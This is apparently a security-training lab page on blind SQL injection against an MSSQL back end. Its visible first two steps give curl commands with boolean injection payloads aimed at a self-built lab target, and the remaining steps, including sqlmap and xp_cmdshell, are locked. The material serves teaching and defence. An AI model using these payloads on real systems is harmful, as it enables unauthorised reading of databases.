Practice library / Web attacks
Lab · Hard · 2 hoursFree account
Blind SQL Injection
Boolean and time-based blind SQLi against MSSQL, by hand and with sqlmap.
On this page 13 sections
- ·Why "Blind"?
- ·Prerequisites
- ·Build the target
- 1Confirm the Page Is Blind
- 2Fingerprint MSSQL from the Oracle
- Locked: Measure the Database Name by Length
- Locked: Extract Data Character by Character
- Locked: Switch to a Time-Based Oracle
- Locked: Automate Extraction with sqlmap
- Locked: Reach Command Execution with xp_cmdshell
- Locked: Detect and Defend Against Blind SQL Injection
- Locked: Check Your Work
- Locked: Clean Up and Next Lab
When an injectable page shows no error and no data, the attacker still has a channel: the page's answer to a true-or-false question, or the time the server takes before it replies. Blind SQL injection turns that channel into a byte-by-byte extraction of the back end. The engineer builds boolean and time-based oracles by hand against MSSQL, then automates the same attack with sqlmap and reaches a stacked-query path to xp_cmdshell.
Lab Objectives
- Build a boolean oracle when a page shows no SQL error
- Fingerprint the back end as MSSQL from the oracle alone
- Extract a database name and a username one character at a time
- Switch to a time-based oracle when the page gives no visible difference
- Automate boolean and time-based extraction with sqlmap
- Use a stacked query to reach
xp_cmdshelland explain how defenders catch it
Why "Blind"?
In SQL Injection Deep Dive the page leaked data straight back to you: an error message, or a UNION SELECT row printed on screen. Most production applications hide that. The page returns the same generic layout whether your query is true or false, and shows no database error at all.
You cannot read data directly. You can only ask the database yes/no questions and watch for a difference. Two kinds of difference give you an oracle:
- Boolean-based — the page content or size changes between a true and a false condition.
- Time-based — the page content never changes, so you make the database pause and measure the delay instead.
This lab builds both oracles by hand against an MSSQL back end, then hands the slow character-by-character work to sqlmap.
Prerequisites
- SQL Injection Deep Dive — do this first. It covers detecting an injection point, UNION-based extraction, and the comment and
SLEEP/WAITFORsyntax for MySQL, MSSQL and PostgreSQL that this lab reuses. - SQL Injection Fundamentals — read this if
information_schema, parameterised queries and the difference between a query and a statement are new to you. - Comfort with
curland a Linux shell. This lab runs every payload withcurl, not a browser, so you can time responses and script the character loop.
Build the target
KaliRange hosts no targets, no virtual machines and no lab files. You run this lab on your own machine, against a catalogue application that you build. 10.0.4.30 is the example address of this lab. Replace it with the address of your own target in every command.
Your lab must have these parts:
- Attack box: your own Kali Linux machine with
curlandsqlmapinstalled (sqlmap --versionto check). - Target: one ASP.NET catalogue application backed by Microsoft SQL Server. Its endpoint is
GET /catalog/item.aspx?id=. Stacked queries must work with its database driver (Step 5). - Database: one database
rangedb, with one tableusersthat has the columnsid,usernameandpassword_hash. Row 1 (id = 1) isadmin. - Page behaviour: the page returns HTTP 200 and the same template for every request. A real product card is 842 bytes and an empty result is 211 bytes. It shows no database error.
- Database account: the application connects with an account that has the
sysadminrole, so thatxp_cmdshellcan run in the last steps. A real application must not do this (see the defences).
Build it from free, legal parts. Install the free Developer or Express edition of Microsoft SQL Server and a small ASP.NET application of your own on a Windows virtual machine on your own computer. No public training target is named here, because this lab needs this exact database and page. Take a snapshot of the virtual machine before Step 1.
Legal note. Run every command in this lab only against a target that you own or have written permission to test, here 10.0.4.30. Do not point these payloads at any other system. Unauthorised SQL injection is a criminal offence in most countries.
Step 1: Confirm the Page Is Blind
Compare a true and a false condition
Request the item with a condition that is always true, then one that is always false. --data-urlencode lets curl handle the spaces and quotes in the payload for you.
# True condition: the original row still matches
curl -s --get --data-urlencode "id=4 AND 1=1--" \
http://10.0.4.30/catalog/item.aspx -o /dev/null -w 'bytes: %{size_download}\n'
# False condition: the row never matches
curl -s --get --data-urlencode "id=4 AND 1=2--" \
http://10.0.4.30/catalog/item.aspx -o /dev/null -w 'bytes: %{size_download}\n'Example output:
bytes: 842
bytes: 211Why it matters. Both requests return HTTP 200 and the same page template. No error, no UNION output. The only signal is the response size: 842 bytes when the product card renders, 211 bytes for the "item not found" page. That size difference is your oracle for every step that follows.
Step 2: Fingerprint MSSQL from the Oracle
Ask the database a question only MSSQL can answer true
@@version exists in MSSQL (and Sybase), not in MySQL or PostgreSQL. Asking a true/false question about it confirms the back end without triggering a single error.
curl -s --get --data-urlencode "id=4 AND @@version LIKE '%SQL Server%'--" \
http://10.0.4.30/catalog/item.aspx -o /dev/null -w 'bytes: %{size_download}\n'Example output:
bytes: 842Why it matters. 842 bytes means true: the condition held, so @@version contains SQL Server. You now know the exact syntax to use for the rest of the lab (-- comments, WAITFOR DELAY, stacked queries with ;).
Sign in to continue
8 more sections are for signed-in members. It is free: sign in with Google.